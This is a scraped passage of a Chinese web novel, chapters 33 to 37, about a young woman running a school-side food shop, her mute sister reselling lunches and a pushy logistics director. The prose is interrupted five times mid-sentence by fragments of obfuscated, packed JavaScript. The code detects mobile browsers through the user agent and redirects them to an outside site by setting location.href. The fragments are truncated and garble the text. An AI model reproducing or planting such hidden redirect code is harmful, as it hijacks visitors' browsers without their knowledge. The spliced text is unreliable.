35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845921|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 与之一起的，还有两个穿西装的人。 准确来说是两个大腹便便，吃得油光满面，架子十足的“人？”。 “操场是吃饭的地方？”其中一个率先站出来，点着折叠桌旁的学生大呼小叫。“在什么地方，做什么事，你们不清楚？” “要吃饭去食堂吃。吃这种垃圾食品，食物中毒怎么办？谁负责？耽误学习怎么办？对得起你们父母吗？”男人痛心疾首。 “食堂味道马马虎虎，但最起码的卫生可以保证。我们一样在吃食堂，怎么没见我们挑食。” “散了，都给我散了。”男人恩威并施，三言两语把学生赶跑了。连带冲过来的学生也被他赶了回去。 钱飒余几人隐在人群中，“怎么办？吃饭的地方被端了。” 徐度毫不在意，耳钉张扬地晃晃。“怕什么，等老钱走了再过去。我有老板联系方式。” “真有你的。”钱飒余揽住徐度的肩膀怼怼。 王肃打断两人的兴奋，“以老钱掉钱眼里的个性，会把你们赶走就算了？” 老钱是他们学校的后勤主任，也是食堂新来的承包商张扒皮的姐夫。 沉默开始蔓延，钱飒余大吼一声。“实在不行让我爸给我办走读。也到了他们奋斗的时候了。” 反正兜里的每一分钱，他不会让张扒皮赚走。 老钱确实不会算了。 赶走学生们后，他将矛头对准了安珀。 “谁让你来的？学校准你摆了？撤了！” 安珀抬眸，冷冷看他一眼。“好像……这是我家。没有哪条法律规定家里不能放东西吧？法律都管不了，你们学校的规定更算不了数。” 安珀站的这块地方，确实是她屋后的坪。当初拆迁的时候，正好没拆到她家。地盘不属于学校，老钱确实没资格管。 老钱一哽，气急败坏挺着肚子在操场转来转去。 折叠桌的影子滑过老钱的视网膜，他瞬间找到另一个开刀点。 “折叠桌是你的。学校准你放操场上了？张皮，给我收了。” 旁边大肚男应了声，兴高采烈地收桌子。时不时往上踹上几脚，仿佛在泄愤。 安珀静静望着，折叠桌是学生临时被赶走，没来得及收。 这个人…… 老钱架子十足，居高临下教育安珀。 “这次桌子我替你收了。下次再摆到操场来，桌子给你砍了。” “这些垃圾食品把学生全带坏了。长身体的时候，尽吃些没营养的东西。” “张皮，走了。”老钱挥挥手，张皮屁颠屁颠跟上。 “姐夫，收她几张桌子算了？她一直在这，我食堂的生意……” “放心。”老钱底气十足。“我联系了人，下午来把这面墙封了。” 食堂的， 真好！ 安珀轻轻地笑了。 33. 第 33 章 人都散了，安珀再留在这也没意义。她一点一点把东西往店里挪，挪到只剩个桌子的时候，安栗和杜济世不知道从哪个角落蹿出来。 几人刚打个照面，安栗就露出担忧的神情，低头在本子上写写画画。 杜济世张嘴，速度比她更快。 “小珀姐，听说后勤主任来找你麻烦了？” “后勤主任？”安珀细细念出声，杜济世点点头。 【店是不是不能开了？】安栗的a4本翻转过来。 “能开。”安珀拿出两个打满的饭盒，塞给她们。“房子是我们家的，又没房东出来赶我们，咋不能开了。” “回教室去吃饭，小孩子家家别管那么多事。”安珀催着她们走。 安珀的行为落在安栗眼里就是一种掩饰。 姐没生意做了，心情一点也不好。 安栗鼓起嘴，笔尖唰唰划过纸面。 【姐，你再打几盒给我。】 【我同学要吃。】 安珀没怀疑，只以为安栗同学和她预定了。她跑回店里，又打包了两袋子盒饭，塞给杜济世。 “够了吗？” 杜济世懵懵的，安栗给个眼神，她忙不迭点头。“够了，小珀姐。想吃咱家饭的同学多着呢。” 说完，她推着安栗轮椅跑了。跑着跑着，轮椅在半路停下，两人又一屁股堆在轮椅上，嗖地飞了。 安珀笑着摇摇头。 这俩糟心孩子。 解决完安栗吃饭的大事，安珀把桌子拖回店里，临时支起来的摊子彻底空了。 脚刚踏进后门，安珀直觉店里气氛不对。 快节奏的音乐声充斥在店内，小满奶声奶气的谴责被隔在下面，透了点模糊的出来。 安珀走近去听。 “奶奶，叔叔挑食，不吃蛋蛋。” “叔叔不是挑食。”小满奶奶轻声纠正她。“是浪费。” “小满记住了。不吃的东西不拿，吃多少打多少，不能浪费。” “小满是乖宝宝，不浪费。”小满挥舞着勺子，嗷呜塞了口蒸蛋。 老刘脸涨得通红，手机摔在桌上，噌地站起来。“老婆子，少管闲事。吃不吃是我的事，又没花你的钱。” 一路过来，安珀听清了原委。她扫过桌子上混乱的一滩，还有那块没动却依旧金黄DuangDuang的蒸蛋。 “先生，没吃完要付十倍。一共30，你是手机扫码还是现金支付。” 安珀点了点他头顶的标语。 老刘睨了安珀一眼，高高昂起头。“哼，小丫头片子，你乱收费，小心我举报你。” “照我说，你应该感谢我。不是我多拿点，你哪能套到这么多政府补贴。老刘我人好，给你指条路。” “我朋友多，以后我经常带他们过来吃饭，政府补贴咱俩对半分。” 安珀深吸口气。 傻x。 这样的傻x她今天碰到两个。 “你还是去和警察分吧。”安珀反手拨出电话。“喂，110吗。我这里有个人吃霸王餐……” “你乱说什么？”老刘擦了擦手心的汗，夺过安珀的手机。 “空的？”老刘五官扭曲。“你讹我？” “店里有监控。”安珀示意他看看头顶。“30。手机支付还是现金？不想给干脆就留着给警察吧。” 老刘攥紧拳，愤愤掏出三张皱巴巴的十块扔到地上。 “味道不怎么样，迟早倒闭。30送你去进修手艺。” 安珀把钱捡起来，慢慢将上面的皱纹抚平。“这就不劳你操心了。你注定进不来这家店。” 老刘冷哼一声，气冲冲走了。 秦叔站在一边，手不知道往哪儿摆，脸上带着歉意。“安珀，你说这事也真是的。我本来想带人来捧捧场，没想到给你添麻烦了。” “没事，秦叔。”安珀把钱放进收银台。“我留了两块偏肥的瘦肉给你，走的时候记得拿啊！” 秦叔应了声。 扫兴的人走了后，店里又恢复了开开心心吃饭的气氛。 另一边，安栗也在吃饭。 不过，这饭她只吃了一半。 安栗和杜济世拖着大袋补给品回到教室的时候，教室充满了叽叽喳喳的声音。仔细听听，还与她姐的摊子有关。 “听说老钱带人去把安栗家的摊子掀了。” “呜呜呜，你说我怎么这么倒霉。我跑在最前面，老钱一肚子把我顶回去了。差一点、差一点我就吃上饭了。” “是啊。老钱和张扒皮狼狈为奸，想把我们赶回食堂吃饭。我给你学学老钱的语气。” “我们也吃食堂~我们不挑食~” “学校两个食堂一样吗？真让老钱吃食堂，他那肚子怕是得减下去一大半。” “哈哈哈。” 教室里爆发出巨大的笑声。 安栗咧开嘴， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845922|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝杜济世使个眼神。 杜济世get到，扯了扯校服，清咳两声。 咳嗽锁在喉咙里，立马被另一道声音盖过去。 “老钱也没说错，小摊小贩确实不卫生。”声音有些熟悉，是婷婷。 猛然爆出一句脱离群众的话，教室静了。 从沸反盈天到鸦雀无声仅仅需要一句话。 这下，杜济世也不用专门去咳了。教室安静到只要其他地方有动静，同学的目光瞬间会挪过来，一秒成为世界中心。 现在，杜济世和安栗是世界中心。 一半中心的杜济世推着轮椅，另一半中心低头不知道在写什么。 经过婷婷座位的时候，另一半中心敲敲轮椅，杜济世识趣把轮椅拦在婷婷面前。 安栗举起本子，露出个人畜无害的笑。 【外卖是世界上最健康的东西。】 食堂难吃得要命。和安栗吵完一架后，婷婷更不可能去照顾她家生意了。唯一的选择只有外卖。 她的三餐基本靠外卖，是班里当之无愧的外卖No.1. 婷婷咬着唇，五官扭曲。 “你……”她噌地站起，毛毛虫眉毛皱成一团，破口大骂。“死哑巴。” 安栗摇头晃脑，吐出舌头朝她做个鬼脸。 安栗深知不能过火将人惹毛了。她气完婷婷后，轮椅一个漂移回到座位，然后把本子架在桌上，翻到下一页。 【安家小食堂盒饭：4元/份。】 “哼，变相涨价。”婷婷斜着眼。“你和你姐真有心计。” 安栗直接忽略，不紧不慢翻到上一页。 【吃不到葡萄说葡萄酸。】 婷婷一哽，话在嘴边怎么也吐不出了。 婷婷安静下来，安栗又翻到4元/份那页，使个眼神给杜济世。 “咳咳。”杜济世没咳出的痰终于当众咳出来了。 “关于涨价这件事。我们把饭搬过来也要力气，一块钱涨的是运费。” 力气倒是没使多少，压在腿上有点烫，应该是工伤。 杜济世内心腹诽，面上不显。“一共20份，先到先得。这还是看在一个班的份上，我们才搬过来的。” “你们到外面去看看，谁吃上安家小食堂的饭了。” “一份涨一块，20份要多20块。想吃明天再去呗，明天老钱不一定赶人。犯得着吃溢价品吗？” 婷婷抓着她们怼。 34. 第 34 章 接二连三被针对，安栗的火气噌噌噌喷出。 撕拉—— 安栗抓住“葡萄”那页，唰地撕下。 视线搜到婷婷嘴巴张开条缝，安栗立刻举起纸张，正对她视线。 遮了一边还不够，安栗低头，插空进婷婷的余光，无声做口型。 嘴唇张张合合。 婷婷皱起眉，好奇心驱使她模仿安栗口型张合。 “葡—萄—姐——” 声调骤然拔高，婷婷脸变得臭绿，手紧紧攥住课桌边缘。 上面讽刺她酸，下面喊着她酸溜溜的外号。一上一下，将婷婷的视线盖得满满当当。 婷婷张嘴要骂，纸张又近了几厘米，好心让她看清楚点。 婷婷哽住。 葡萄在脑子里打转。 接下来的时间，只要婷婷有说话的迹象，安栗立马将纸张举起，附赠葡萄姐的外号。 你说，她举，婷婷插翅难飞。 婷婷憋了一肚子气，偏偏对正主发泄不了。拿起桌上的外卖袋，开得噼里啪啦。 之前被婷婷骂傻子的同班见她吃瘪，脸色放晴，扭头在安栗这里买了份溢价一块的盒饭。 老钱突然出来插上一脚，他们许多人还没吃上饭。 几分钟不到，二十份盒饭一抢而空。 犹豫会的同学看着空空的塑料袋，抓着头发哀嚎。“怎么没了！” 安栗露出个歉意的笑，左边酒窝显出她的无辜。 撕啦撕啦—— 拿到盒饭的同学们陆续掀开盖子，氤氲的香气飘出，加工后的食材味道充满教室。 “哇，有蒸蛋！” “上面还有肉。” 水蒸蛋算是小孩菜的范畴，这群半大的小孩子见到后兴奋到不行，直接忽略其他的菜。 “呜——”坐安栗前排的同学拨开水蒸蛋表层的肉沫，舀了一勺原汁原味的蛋块。 蛋块在勺子上DuangDuang晃荡，单手数得清的孔洞点缀内里，深褐色生抽缓慢沿着边缘流下，像是猫和老鼠里的焦糖布丁。 他一口含住DuangDuang。 蛋块不受力碎成小块，软嫩丝滑，流进喉管。 浓郁的蛋香填满口腔，细品下还有炒肉味。 “好香好香！” 前排同学抄起一口含肉沫的，蒸蛋的风味又截然不同。 夹在中间的香油猛然爆发，配合肉沫，占据绝大部分味蕾。原汁原味的蛋香被压制，酱香溢出，蛋块又多了几层味道。 一勺接一勺，小格的蒸蛋去了三分之一，剩下个小小的角。 “该死的老钱，害我没法吃自助，不然现在可以排队续菜了。”前排同学边骂边吃蒸蛋安抚自己。 没吃上的同学站在他旁边，香气不停朝鼻孔钻，吸溜声在耳朵边没停过，勾得心思飞飞。几人互相对视，大步一跨，不约而同立到他桌前。 “给我吃点。” “不吃你蒸蛋。尝点其他的就行。” 近了点，香味更加浓郁。其中一人咽咽口水，眼珠子黏在盒饭上挪不下来。 前排同学机警抱住盒饭，冷酷拒绝。“不给，想吃自己去买。” 几人好话说尽，前排同学硬是将盒饭遮得严严实实，鼻尖的香气淡了不少。 见状，几人又一步迈到安栗桌前。 安栗缓缓抬头，猛地盖住饭。 她也不给。她饭盒里加了姐姐的特制小菜，给他们吃多亏啊！ “呵，哈！” 几人气笑了，豪壮拍四块钱在桌上。“我明天预定一份。” “还有我。” 一张张现金堆在桌子一角，安栗腾出手数数，然后在本子上划出一笔，撕下递给他。 接下来是二三四号。 几人一一拿过号，特意露出纸面号码，神气从前排同学路过。 一二三四闪过余光，前排同学意识到什么，猛然转头。“我也排一个。” 新鲜的5落在他手心。 安栗的代购活动进行顺利。今天的一售而空，明天的订了5份出去。 她安栗，是天才！ 天才晃晃脑袋，头顶支棱起的呆毛跟着得意动动。 天才帮手的炫耀从这直达讲台，随后绕了一大圈。 几人神色得意，笑容欠打，吃饭的同学气得牙痒痒。 万一明天又是20份，他们岂不是吃不上饭！！！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870111|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里一合计，他们唰地冲向安栗，开始要号。 桌前黑压压堵了一堆，吵吵嚷嚷。叹口气，安栗放下筷子，继续放号。 人群来了又走，拿到号的同学吃饭心都踏实点，大声分享盒饭的味道。 “酸豆角肉沫好好次。酸酸的嘎嘣脆，不咸也不苦，比我奶奶在菜市场买的好吃多了。” “酸豆角算什么，我妈做的梅干菜才是世界第一。乌漆嘛黑，干嚼腮帮子疼。呜呜呜，我已经很久没吃过爆汁的梅干菜了。” …… 各种议论源源不断灌入婷婷耳朵，香气加码在她鼻尖跳舞。 对着平日出场勾得她口齿生津的糖醋排骨，婷婷突然没了胃口。 酸味不对，她想要更自然一点的酸，味道重一点。 糖醋排骨太淡了。 一股酸香夹杂在纷繁的气味里，悄悄探出触角。 一下又一下，挠得婷婷心痒痒，视线不受控制挪到同桌的盒饭上。 酸豆角肉沫还没动，红彤彤的小米椒圈、黄绿的豆角粒、松散带棕的肉沫，齐齐呆在小格子，达成色调平衡。 婷婷仿佛看到，又有几根触手伸出，在她心上搔挠。 咕咚—— 喉咙动了动，婷婷鬼上身似的伸出勺子。 快了，还有一点点。 勺子前端碰到酸豆角，婷婷余光瞥到一道身影接近。 她嗖地收回勺子，含在嘴里，眼珠子心虚地上下右乱瞟，独独不往右看。 酸味急速在嘴里扩散，唾液快速分泌，仿佛不满足她只带回了这么点味道。 凶手往往会回到犯罪现场。 婷婷朝右瞧瞧，同桌宝贝摸摸不规则纸条，然后小心夹在书里。 37号。 明天的盒饭订到37了，加她一份应该是38吧。 “安栗——”婷婷凭本能大喊。 点好的现金放进抽屉，安栗循声望去，呆毛唰地支棱。 现实比想象中更难面对。 婷婷支支吾吾，“加号”两个字堵在喉咙始终吐不出。 安栗鼓起嘴，满脸写着“你到底想干嘛？” 婷婷吐出口气，嘴角咧开。“你牙上沾菜了。” 35. 第 35 章 秦叔秦婶吃完饭就走了，留下一担豆角整整齐齐码在门后。 门外阳光正好，斜斜穿进门口，洒在豆角上，折射出翠绿的颜色。 豆角新鲜、不经放。 安珀想了想，索性把这批全做成酸豇豆，留着后面慢慢吃。 后厨空间不算大，一捆一捆洗豆角太费时间了。安珀翻出个不锈钢大盆，人能坐里面洗澡那种，就近拖到店门口旁边的水龙头，随后将豆角全数倒进去。 哗啦啦—— 水源喷出，透亮带蓝的水渐渐淹没豆角上方。 随意抓出一把，安珀反复淘洗几遍，洗掉豆角表面的灰尘和小虫子。 顺手一甩，豆角啪地落到准备好的簸箕上，水珠四溅。 洗、甩，安珀进行流水线工作，盆里的豆角很快被她清洗完，簸箕上高高堆起清爽的色彩，水珠子流过沟壑，滴滴答答在地上聚成一滩。 几个簸箕分开架在不同位置，安珀抓起豆角，松松散散抖落在簸箕上。 在太阳底下晒个十几分钟，等豆角的水珠干了就可以泡了。 趁这个空隙，安珀跑进后厨，洗点小米辣，切个柠檬备用。 之前多买的大缸正好派上用场。 做泡菜最重要的是无水无油。大缸很干净，安珀往里面倒上一瓶白酒，转个圈杀杀菌，然后尽数倒出。 后厨响起熟悉的铃声，安珀走到水泥坪，附身检查豆角的状态。 下午日头很毒，就这么点时间，地下的水渍干干净净，豆角恢复了翠绿，磨砂的表面没有藏一滴水珠。 一把接一把，安珀慢慢把它们归拢成一团，堆在一个簸箕里，端进后厨。 豆角头比头整理好，反手绕个圈塞进大缸。后面的豆角如法炮制，一层一层码进缸里。 即使做了心里准备，安珀还是被吓了一跳。 秦婶挑过来的豆角，分量真扎实啊！ 和不锈钢大盆直径差不多的大缸，竟然让豆角填满了。 翠绿平行的长条在口子面若隐若现，整条没切的小米辣压在上面，柠檬片封层。 今天的淘米水终于不用留着浇菜了，安珀将它们倒进大缸，补满剩下的空隙。 哗哗哗—— 水声由清脆变得沉闷，乳白准点出现在安珀视线。 安珀立马收手，盖上盖子，在沟沟里淋上一圈水，彻底密封。 大功告成。 安珀拍拍手，却没歇着。 难得买了梅干菜，她准备做点梅干菜糖包，早上蒸着给安栗当早餐。 说来也是奇怪，安栗讨厌素食类的食物，但喜欢梅干菜糖包这种素菜包子。 外面的包子安栗经常抱怨味道不正宗，安珀听着，巍然不动。 不是没时间，主要是没找到合适的梅干菜。 青菜没到种植的季节，临时晒梅干菜不现实。安珀准备过段时间去村里搜罗搜罗，没想到梅干菜主动撞上来了。 撸起袖子，安珀打算干场大的。 梅干菜她中午做饭的时候一起蒸好了，现在要把包子皮做出来。 安珀转身从货架取下一大袋面粉，倒进盆里。 细腻的面粉堆在前头，安珀手腕用力抖抖，面粉如泄洪喷涌而出，粉尘飞扬，袋子底部骤然轻了。 面粉加上几勺盐增加筋性，再来上点猪油和酵母。 伸出手，安珀点了点调好的温水。 指腹触到比体温低的温度，时机刚好。安珀端起温水，一点一点往里到，另一只手拿起筷子轻轻在盆里打着旋。 水流进入面粉，消失得无影无踪，盆里多了几坨大小不一的絮状。 渐渐的，絮状增加，仅剩盆边缘剩了点干粉。 安珀立马收手，将筷子上的面粉坨捋下来，和盆里的面粉揉成一团。 刚开始，面粉勉强聚成一团，表面裂出粗细不一的干纹。 安珀手腕用力，推着面团在盆里滚了几圈。面团在她掌心不停变化着形状，干纹和干粉一起揉进去，表面光滑无比，隐隐反光。 套上保鲜膜，放在一边发酵。 起锅，来上几大勺猪油，梅干菜通通扔进去。 刺啦—— 猪油香和梅干菜的干香迅速碰撞，后厨沉浸在油润的快乐里。 抡起勺子，安珀快速翻炒几下，让每一根梅干菜都裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874620|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上猪油。 慢慢的，梅干菜自带的水蒸气被烘干，猪油融入，铁锅沙沙作响，仅留边缘反射点油光。 盐粒撒上去，几勺糖覆盖在梅干菜表层。 热源噗噗往上飘，安珀随时翻动，防止梅干菜糊锅。 小颗粒的糖融成一滩糖水，黏稠焦黄。 锅铲过一遍，梅干菜飞散，沾上点糖水又去了别处。 来回四五下，梅干菜裹上了亮晶晶的糖壳。焦糖香融入干香，呼呼冒出甜腻。 梅干菜馅出锅。 屋外温度不低，后厨更是要高出几度。安珀估了下时间，面团差不多发好了。 再久点，怕是发过头了。 揭开保鲜膜，面团溢出、已经是原来两倍大，表面布满细小的孔洞，酒味扑面罩来。安珀不受影响，食指直冲面团在中央戳个洞。 过了几秒，洞口无任何变化。 和她判断的一样，面团发好了。 一角掀起，剩余的面团受重力影响啪叽跌在不锈钢台面。 掌心揉个几遍，来回给面团排气。 搓着搓着，面团在安珀手底下变了形状，长条弯折，占据一大半台面。 轻轻在上面做点标记，手起刀落，一个个馒头状的剂子堆在一边。 安珀拿起几个颠颠，嗯，重量一样。 台面洒满干粉，剂子摁扁，擀面杖飞速滚过。 一个光滑，中间厚四周薄的面皮出现在安珀手下。 啪啪啪—— 擀面杖滚滚，成堆的面皮飞过，啪叽落在台面一角。 没一会，安珀就把面皮擀完了。 随意取出一片手掌大的皮，中间舀上满满的梅干菜。一只手捏，一只手推褶。几秒后，一个只有掌心一半大小，圆润点满褶皱的包子立在台面上。 连续包了几个，蒸锅烧的水泛起密集的小泡泡。 安珀食指探探，和体温差不多。 赶紧在蒸笼底垫上屉布，包好的包子分散放进去，开始二次发酵。 安珀瞥了眼时间，安栗快下课了，还有三分之二的包子没包。 她索性停工，等安栗回来一起包。 36. 第 36 章 悠扬的下课铃声响起，校门口的栏杆升起，学生们飞快冲出来，激动得像出栏的猪。 窄小的轮椅上挤着两个人，杜济世肌肉紧绷抓住扶手，安栗放松操作操纵杆，是条滑溜的泥鳅，找到人群间的空隙，嗖一下溜出去。 后面几双眼睛瞪大，着急忙慌跟上。 经过校门口的时候，轮椅速度依旧不减，原地来个漂移，怒冲两百米，一个掉头跌入旁边小巷子。 “卧槽，人呢？”几双眼睛茫然望着路上来来往往的车流。 “前面。”其中一人指指左边的小巷。 “对对对，快跟上。” 几人脚步凌乱，钻进小巷。坠在后边的苏洋飞喝水的动作一顿，随意拧紧瓶盖，连包带水一起塞进朋友怀里。 “有点事，明天再去。”说完，他拔腿朝那个方向追去。 一阵急速的风刮过，几人簇拥跑过，又一道劲风擦过耳际。钟芜西揉揉不适的耳朵，随口抱怨。“这群人疯了？追着小老板不放。” 自从尝过冷吃猪肝，钟芜西垂直入了安家小食堂的坑，顿顿吃饭不落。和安栗打照面的机会多了，自然见识到了她高一级别的待遇。碗里的店长特制餐，还有自留的露天包房。安栗也被她们这群吃饭的人戏称为小老板。 “原来她是你们嘴里的老板妹妹，坐轮椅啊！”路瀑没去小食堂吃过饭，日常听钟芜西羡慕安栗的待遇，弄得她对这个关系户好奇起来。 刚才匆匆一瞥，只见到轮椅飘过去。样貌看不太清，身形倒是高大。 “出了车祸，腿还没恢复好。”钟芜西解释。 路瀑哦了声，猛然扭头。两人对视，钟芜西眼神由迷茫变得清澈。 “我滴天——”校园霸凌，欺负残疾人。 不约而同，两人追着那个方向狂奔，书包挂的玩偶在背后甩出火星子。 小巷接连涌入几波人，安栗感觉空气变得拥挤。 嘎吱一声，轮椅刹停。她扭头朝后看，为首的人愣了愣，耳钉尴尬晃晃。 他一步一步靠近安栗，鞋底碾在石子上发出沙沙声。 “小朋友，你家在哪？” 路瀑和钟芜西堪堪追上，气没喘匀，先听到了恶劣十足的话语。路瀑火爆脾气噌地扑出来，抓住橙红的书包丢沙包似的扔出去。 “去你妈的，人渣。”路瀑愤恨，大吼一声。 “等……”苏洋飞拦了下，没拦住。 橙红在空中划过道抛物线，急速下坠，正中人渣后脑勺。 “啊！”人渣吃痛叫出声。 书包在后脑勺弹了几下，包上挂着的娃娃顺势甩了人渣俩巴掌。 “谁？”人渣单手捂脸，转身瞪住路瀑。 几道红痕在他指缝若隐若现，钟芜西立马捂眼，伸手扒拉路瀑。“瀑瀑……” 路瀑安抚握住她手，将她拉到身后，反瞪回去。“砸的就是你，死人渣。” “欺负一个小女生你也好意思。哪个班的？我要告诉你们班主任。”路瀑撸起袖子，大步向前想把这些人抓回去。 “我吃个饭，欺负谁了？”徐度没好气问，舌头顶顶脸上的伤口。 磅礴的气势停住，路瀑扫过他的耳钉，还有花里胡哨的校服，眼中的怀疑之色更加浓郁。她扭头朝钟芜西确认。 钟芜西抬眼望天，手重复在兜里掏来掏去。 人在尴尬的时候会显得很忙。 路瀑懂了，路瀑慢慢捋下袖子。“不好意思，我误会了。” “脑袋上白长俩眼睛。”徐度冷哼声，捡起书包扔回她怀里。 “小朋友，带路。”徐度顿了顿，大声喊。“去你家吃饭。” 安栗拿出本子，不知想到什么，又把本子合上了。 体谅到这些人的速度，轮椅的速度放缓，安栗慢悠悠开在前面。 三人立马跟上。苏洋飞想了想，不远不近坠在后面。 见状，路瀑追上去。 钟芜西反手拉住她。“他们去吃饭，你去干嘛？别玩了，阿姨在家等你。” “我揍了人家，总得请他吃个饭，赔礼道歉。” 有道理！ 钟芜西松手，和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877602|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路瀑一起快步赶上前面的队伍。 狭窄的土路上，稀稀拉拉拖了一群人。太阳变幻成橙光，暖意洒在每个人肩膀，路瀑声音时不时冒出来。 “西西，你认识他。刚才干嘛不阻止我？” “我俩也没熟到光凭脑袋就能认出来。”钟芜西声音幽幽。 路瀑闭嘴。路瀑闭嘴几分钟后，一行人站在了安家小食堂正门。 熟悉的轮椅声压过地面，安珀脱掉围裙，从后厨门口探出个脑袋。 “安栗快来包包子……唉！” 安栗眼睛发亮，喉咙动了动。拍拍杜济世，让她从轮椅上下去，安栗操纵轮椅一溜烟蹿进后厨。完全把带来的一群人抛之脑后。 她家很少包包子。如果包，一定是她最爱的梅干菜糖包。 果不其然，刚进后厨安栗立马瞧见了台面上黑乎乎的干菜。 甜甜的香气环绕，安栗又吞了吞口水。 洗干净手，安栗拿起一片包子皮，掌心窝起，填上满满的梅干菜。包子皮在指间飞舞，倒斜且匀称的褶皱装在表面，顶上留下一个圆整的小窝。 梅干菜完完整整被掩在包子皮下，整个过程不到一分钟。 “好看。”安珀端起包子瞧瞧，发出感叹。“你学妈的手艺学得最像。” 安妈包包子的手艺是外公传下来的，她们家逢年过节总会包上一大笼梅干菜糖包。姐俩耳濡目染，也学会了包包子。 同样是包包子，以安珀的眼光，她包出来的远没有安栗的圆润好看。 真是奇了怪了！ 提起那个车祸丧生的女人，后厨骤然一静。安栗抿着唇，食指翻飞的速度放缓。安珀懊恼了会，拍拍安栗的肩膀，开始没话找话。 “对了，你把他们带来干嘛？” 话题转移到在用餐区无所事事的几个人。 安栗指指包子，又点点消毒柜里的餐具，一顿连比带划，安珀猜出来了。 “来吃饭的？” 安栗竖起大拇指，bingo. “你有没有告诉他们晚上不开业？” 37. 第 37 章 安栗沉默，包子在掌心转得飞快，堆在一角的包子皮飞快减少，蒸笼填满了一层又一层。 安珀叹口气，哪个家长没给自家孩子收拾过烂摊子呢？ 她把蒸笼叠好，搁在温水上二次发酵。 旁边灶上火力十足，嗤嗤冒出白雾，梅干菜的清香和酵母特有的酒味四溢。 安珀知道，包子蒸好了。 关火，微微掀开盖子一角。蒸气不受控制扑到脸上，安珀接了满怀的甜，是小麦粉自带的微甜，不腻。 扇了扇，蒸气散去，蒸笼的全貌显现。 比巴掌大了一圈的包子，肥嘟嘟挤一堆。包子体型嘭起，通体雪白，深刻的褶皱变得浅淡，凸起一条棱。梅干菜的香味倒是不太多，酒味比之前更盛。 小心拿了两个出来，包子皮颤动，热气散开，滚烫的温度透过指腹传到四肢。 “你先吃。”包子递给安栗，安珀捡着两笼剩下的包子出去了。 甜香一路从后厨跑到用餐区。随着安珀的身影清晰，甜香越发浓郁。 “老板，晚上吃包子啊！”钟芜西鼻尖轻耸，熟悉的酵母味唤醒大脑记忆。 “对。”安珀应了声，将包子在保温台摆好。 杜济世见状，从消毒柜抽出夹子，帮着安珀一起摆。 一来一回，包子香气的范围扩大了。 甜香很调皮，时不时跑到众人鼻尖跳支舞，转个身又跑了。 几个人再也坐不住，扫码的扫码，掏钱的掏钱。 “唉，”啪叽一下，路瀑挡住墙上的码。“我请你。” “拿开，我缺你这点钱？”徐度晃晃手机，昂起下巴。 路瀑定定看着他。“你缺。” “呵，”徐度鼻腔震声，后脑勺隐隐作痛，提醒他罪魁祸首就是面前这人。手机在指腹转个圈，扔回兜里。 “行，你请。” 路瀑咧开嘴，蹦跶搂住钟芜西。“西西，你的饭我也包了。” “发财了！”钱迅速塞回包里，钟芜西犹豫一秒都是对吃免费餐的不尊重。 路瀑笑容扩大，甚至能看到她几颗后槽牙。 “破财消灾。” 路瀑啪地把钱拍到收银台，几声甜美的女声播报音跟在她动作后面响起。 夹子停滞在半空，安珀赶紧喊：“没事，这顿请……” “老板，”王肃打断她的话。“该给的给。要不是小老板，我们找到你家店还要费点时间。” 王肃一眼瞧出症结，直戳戳往安珀心里扎，疏通她的不好意思。 “是啊，老板。吃饭哪有不付钱的。”钱飒余附和。 一人一句，彻底把安珀的声音压下去。 安珀反对无效，众人已经拿餐盘，自动排队夹包子了。 包子表皮光滑，内里松软，夹子夹住，两端自动下陷。 Duang地扔回餐盘，包子回弹，恢复了圆润的模样。 